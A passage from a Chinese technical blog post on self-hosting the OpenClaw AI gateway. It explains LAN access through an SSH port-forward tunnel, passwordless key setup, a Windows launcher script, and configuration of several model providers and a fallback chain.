0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 data-heading="true" style="display: table;margin: 4em auto 2em;color: #fff;background: #009874;font-weight: bold;text-align: center;padding: 0.3em 1em;border-radius: 8px;font-size: 20.8px;box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);"><span leaf="">局域网访问</span></h2><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">Mac Mini 跑 Gateway，日常在 Windows 上用浏览器访问 webchat 控制台。听起来很简单，实际踩了两个坑。</span></p><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">坑一：bind 配置的迷惑行为</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">Gateway 默认只听 127.0.0.1。配置里有个 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">gateway.bind</span></code><span leaf=""> 字段，文档暗示可以设成 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">&#34;lan&#34;</span></code><span leaf=""> 让局域网设备访问。实际试下来，设了 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">&#34;lan&#34;</span></code><span leaf=""> 配置文件倒是存进去了，但 Gateway 行为没有变化——依然只监听 localhost。</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">&#34;all&#34;</span></code><span leaf=""> 也一样。试了一下直接填 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">&#34;0.0.0.0&#34;</span></code><span leaf=""> 倒是能开全通策略，但是新的问题又出现了。</span></p><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">坑二：裸 HTTP 访问 webchat 白屏</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">用 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf=""><a href="http://192.168.x.x:18789" target="_blank">http://192.168.x.x:18789</a></span></code><span leaf=""> 访问 webchat 也不行，能看到页面侧边栏框架，但是白屏+红字报错穿插着来，webchat 前端用到了需要 Secure Context 的浏览器 API（</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">crypto.subtle</span></code><span leaf="">、Service Worker 等），而浏览器的 Secure Context 策略只认两种来源：HTTPS 和 localhost。裸 IP + HTTP 不在白名单里，前端直接起不来。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">自签证书配起来麻烦，而且每台客户端都要信任，不值得。</span></p><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">最终方案：SSH 端口转发</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">SSH 隧道一箭双雕：既解决了跨机器访问，又让浏览器看到的是 localhost，天然满足 Secure Context。</span></p><pre style="background: #221a0f;color: #d3af86;font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 8px;box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.05);padding: 0 !important;"><code style="font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0;color: inherit;background: none;white-space: nowrap;margin: 0;font-family: &#39;Fira Code&#39;,
    Menlo,
    Operator Mono,
    Consolas,
    Monaco,
    monospace;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;display: flex;align-items: flex-start;overflow-x: hidden;overflow-y: auto;width: 100%;max-width: 100%;padding: 0;box-sizing: border-box;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: right;padding: 8px 0;border-right: 1px solid rgba(0,0,0,0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0 !important;"><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;margin-top: 0 !important;"><span leaf="">1</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">2</span></p></div><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;flex: 1 1 auto;overflow-x: auto;overflow-y: visible;padding: 8px;min-width: 0;box-sizing: border-box;"><p><span style="color: #d6baad;"><span leaf=""># Windows 端执行</span></span><span leaf=""><br/></span><span leaf="">ssh -f -N -L 18789:127.0.0.1:18789 user@192.168.x.x</span></p></div></div></code></pre><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">-f</span></code><span leaf=""> 放后台，</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">-N</span></code><span leaf=""> 不开 shell，纯转发。之后浏览器访问 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf=""><a href="http://localhost:18789" target="_blank">http://localhost:18789</a></span></code><span leaf=""> 就行。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">原理是 SSH 在 Windows 本地监听 18789 端口，所有流量通过加密隧道转发到 Mac 的 127.0.0.1:18789。对浏览器来说请求目标就是 localhost，Secure Context 校验通过。</span></p><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">免密 + 一键启动</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">每次输密码太烦，配个 Ed25519 密钥对：</span></p><pre style="background: #221a0f;color: #d3af86;font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 8px;box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.05);padding: 0 !important;"><code style="font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0;color: inherit;background: none;white-space: nowrap;margin: 0;font-family: &#39;Fira Code&#39;,
    Menlo,
    Operator Mono,
    Consolas,
    Monaco,
    monospace;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;display: flex;align-items: flex-start;overflow-x: hidden;overflow-y: auto;width: 100%;max-width: 100%;padding: 0;box-sizing: border-box;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: right;padding: 8px 0;border-right: 1px solid rgba(0,0,0,0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0 !important;"><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;margin-top: 0 !important;"><span leaf="">1</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">2</span></p></div><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;flex: 1 1 auto;overflow-x: auto;overflow-y: visible;padding: 8px;min-width: 0;box-sizing: border-box;"><p><span leaf="">ssh-keygen -t ed25519</span><span leaf=""><br/></span><span style="color: #f79a32;"><span leaf="">type</span></span><span leaf=""> %USERPROFILE%\.ssh\id_ed25519.pub | ssh user@192.168.x.x</span><span style="color: #889b4a;"><span leaf=""> &#34;cat &gt;&gt; ~/.ssh/authorized_keys&#34;</span></span></p></div></div></code></pre><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">然后做个 bat 扔桌面：</span></p><pre style="background: #221a0f;color: #d3af86;font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 8px;box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.05);padding: 0 !important;"><code data-language-pending="bat" data-raw-code="@echo off
ssh -f -N -L 18789:127.0.0.1:18789 user@192.168.x.x
start http://localhost:18789" data-show-line-number="true" style="font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0;color: inherit;background: none;white-space: nowrap;margin: 0;font-family: &#39;Fira Code&#39;,
    Menlo,
    Operator Mono,
    Consolas,
    Monaco,
    monospace;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;display: flex;align-items: flex-start;overflow-x: hidden;overflow-y: auto;width: 100%;max-width: 100%;padding: 0;box-sizing: border-box;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: right;padding: 8px 0;border-right: 1px solid rgba(0,0,0,0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0 !important;"><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;margin-top: 0 !important;"><span leaf="">1</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">2</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">3</span></p></div><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;flex: 1 1 auto;overflow-x: auto;overflow-y: visible;padding: 8px;min-width: 0;box-sizing: border-box;"><p><span leaf="">@echo off</span><span leaf=""><br/></span><span leaf="">ssh -f -N -L 18789:127.0.0.1:18789 user@192.168.x.x</span><span leaf=""><br/></span><span leaf="">start <a href="http://localhost:18789" target="_blank">http://localhost:18789</a></span></p></div></div></code></pre><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">实际使用中有个小问题：如果上次的 SSH 隧道没断干净，端口被占用会报错。可以在脚本开头加一行 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">taskkill /F /IM ssh.exe 2&gt;nul</span></code><span leaf=""> 暴力清理，或者用 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ssh -O check</span></code><span leaf=""> 检测已有连接再决定是否新建。</span></p><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 data-heading="true" style="display: table;margin: 4em auto 2em;color: #fff;background: #009874;font-weight: bold;text-align: center;padding: 0.3em 1em;border-radius: 8px;font-size: 20.8px;box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);"><span leaf="">模型配置与 Fallback 链</span></h2><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">五个 Provider 的分工</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">配置里实际接入了五个 Provider。其中 DashScope 和 Qwen 虽然背后都是通义千问，但面向国内和国际是两套完全不同的端点和认证体系，不能混用：</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;max-width: 100%;overflow: auto;"><table style="border-collapse: separate;border-spacing: 0;border-radius: 8px;margin: 1em 8px;color: #3f3f3f;box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);overflow: hidden;margin-top: 0 !important;"><thead><tr><th style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><p><span leaf="">Provider</span></p></th><th style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><p><span leaf="">端点</span></p></th><th style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><p><span leaf="">认证方式</span></p></th><th style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><p><span leaf="">模型</span></p></th><th style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">dashscope</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">coding.dashscope.aliyuncs.com/v1/</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">API Key (sk-sp-)</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">qwen3-max, qwen3-coder-plus</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">国内 Coding Plan 套餐专用端点</span></p></td></tr><tr><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">qwen</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">portal.qwen.ai/v1</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">OAuth</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">qwen-max, qwen-plus</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">国际版 qwen-portal，配置向导默认生成</span></p></td></tr><tr><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">zai</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">open.bigmodel.cn/api/coding/paas/v4/</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">API Key</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">glm-4.7, glm-4.6v</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">智谱 Coding Plan</span></p></td></tr><tr><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">anthropic</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">默认端点</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">Token</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">claude-sonnet-4-5</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">Anthropic 官方</span></p></td></tr><tr><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">openai-codex</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">默认端点</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">OAuth</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">gpt-5.2 等</span></p></td><td style="border: 1px solid #dfdfdf;color: #3f3f3f;word-break: keep-all;padding: 0.5em 1em;"><p><span leaf="">OpenAI，OAuth 认证</span></p></td></tr></tbody></table></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">其中 qwen 是运行 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">OpenClaw configure</span></code><span leaf=""> 配置向导时自动生成的——向导默认走国际版 OAuth 流程，通过 Qwen OAuth 插件完成认证。阿里云 Coding Plan 套餐（sk-sp- 开头的 key）需要专用端点，不能用国际端点和普通 DashScope API（智谱也是一样）。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><strong style="color: #009874;font-weight: bold;font-size: inherit;"><span leaf="">端点地址：</span></strong><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf=""><a href="https://coding.dashscope.aliyuncs.com/v1/" target="_blank">https://coding.dashscope.aliyuncs.com/v1/</a></span></code><span leaf=""><br/></span><strong style="color: #009874;font-weight: bold;font-size: inherit;"><span leaf="">配置命令：</span></strong></p><pre style="background: #221a0f;color: #d3af86;font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 8px;box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.05);padding: 0 !important;"><code style="font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0;color: inherit;background: none;white-space: nowrap;margin: 0;font-family: &#39;Fira Code&#39;,
    Menlo,
    Operator Mono,
    Consolas,
    Monaco,
    monospace;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;display: flex;align-items: flex-start;overflow-x: hidden;overflow-y: auto;width: 100%;max-width: 100%;padding: 0;box-sizing: border-box;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: right;padding: 8px 0;border-right: 1px solid rgba(0,0,0,0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0 !important;"><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;margin-top: 0 !important;"><span leaf="">1</span></p></div><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;flex: 1 1 auto;overflow-x: auto;overflow-y: visible;padding: 8px;min-width: 0;box-sizing: border-box;"><p><span leaf="">OpenClaw config</span><span style="color: #f79a32;"><span leaf=""> set</span></span><span leaf=""> models.providers.dashscope</span><span style="color: #889b4a;"><span leaf=""> &#39;{&#34;baseUrl&#34;:&#34;&lt;<a href="https://coding.dashscope.aliyuncs.com/v1/" target="_blank">https://coding.dashscope.aliyuncs.com/v1/</a>&#34;,&#34;api&#34;:&#34;openai-completions&#34;,&#34;models&#34;:[{&#34;id&#34;:&#34;qwen3-coder-plus&#34;,&#34;name&#34;:&#34;Qwen3-Coder-Plus&#34;},{&#34;id&#34;:&#34;qwen3-max-2026-01-23&#34;,&#34;name&#34;:&#34;qwen3-max-2026-01-23&gt;&#34;}]}&#39;</span></span></p></div></div></code></pre><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><strong style="color: #009874;font-weight: bold;font-size: inherit;"><span leaf="">Auth 配置：</span></strong><span leaf=""> 在 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">~/.openclaw/agents/main/agent/auth-profiles.json</span></code><span leaf=""> 添加 dashscope:default profile</span><span leaf=""><br/></span><span leaf="">Coding Plan 套餐的 API Key 以 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">sk-sp-</span></code><span leaf=""> 开头，和普通 Key 不是同一套鉴权体系。最直观的区别是端点不同：</span></p><ul style="margin-left: 0;color: #3f3f3f;list-style: none;padding-left: 1.5em;" class="list-paddingleft-1"><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• 普通 Key ：</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf=""><a href="https://dashscope.aliyuncs.com/compatible-mode/v1/" target="_blank">https://dashscope.aliyuncs.com/compatible-mode/v1/</a></span></code></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• 国际版 OAuth：<a href="https://portal.qwen.ai/v1/" target="_blank">https://portal.qwen.ai/v1/</a></span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• Coding Plan ：`<a href="https://coding.dashscope.aliyuncs.com/v1/" target="_blank">https://coding.dashscope.aliyuncs.com/v1/</a></span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• Coding Plan支持模型： qwen3-coder-plus, qwen3-max-2026-01-23`</span></p></li></ul><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">所以务必用正确的baseurl和完整的的模型 ID，不然换多少key尝试也一样 401 。</span><span leaf=""><br/></span><span leaf="">还有就是，OpenClaw 对 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">qwen/qwen-max</span></code><span leaf=""> 这种写法有内部路由逻辑，如果之前先一步配置了国际版，再想添加国内版，会把请求打到 qwen-portal，即便配通了，</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/model</span></code><span leaf="">也是没办法正常切换模型的。</span></p><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">Fallback 编排</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">思路是把便宜量大的国产模型放前面扛日常流量，Claude 放最后兜底。日常聊天基本走不到 Fallback 4，除非前面全挂了。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">不在Fallback中的模型也可以webchat/tui中手动切换，OpenClaw 支持给模型配别名：</span></p><pre style="background: #221a0f;color: #d3af86;font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 8px;box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.05);padding: 0 !important;"><code style="font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0;color: inherit;background: none;white-space: nowrap;margin: 0;font-family: &#39;Fira Code&#39;,
    Menlo,
    Operator Mono,
    Consolas,
    Monaco,
    monospace;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;display: flex;align-items: flex-start;overflow-x: hidden;overflow-y: auto;width: 100%;max-width: 100%;padding: 0;box-sizing: border-box;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: right;padding: 8px 0;border-right: 1px solid rgba(0,0,0,0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0 !important;"><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;margin-top: 0 !important;"><span leaf="">1</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">2</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">3</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">4</span></p></div><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;flex: 1 1 auto;overflow-x: auto;overflow-y: visible;padding: 8px;min-width: 0;box-sizing: border-box;"><p><span leaf="">&#34;zai/glm-4.7&#34;</span><span leaf="">:</span><span leaf="">                    {</span><span leaf=""> &#34;alias&#34;</span><span leaf="">:</span><span style="color: #889b4a;"><span leaf=""> &#34;GLM&#34;</span></span><span leaf=""> }</span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">&#34;anthropic/claude-opus-4-5&#34;</span><span leaf="">:</span><span leaf="">    {</span><span leaf=""> &#34;alias&#34;</span><span leaf="">:</span><span style="color: #889b4a;"><span leaf=""> 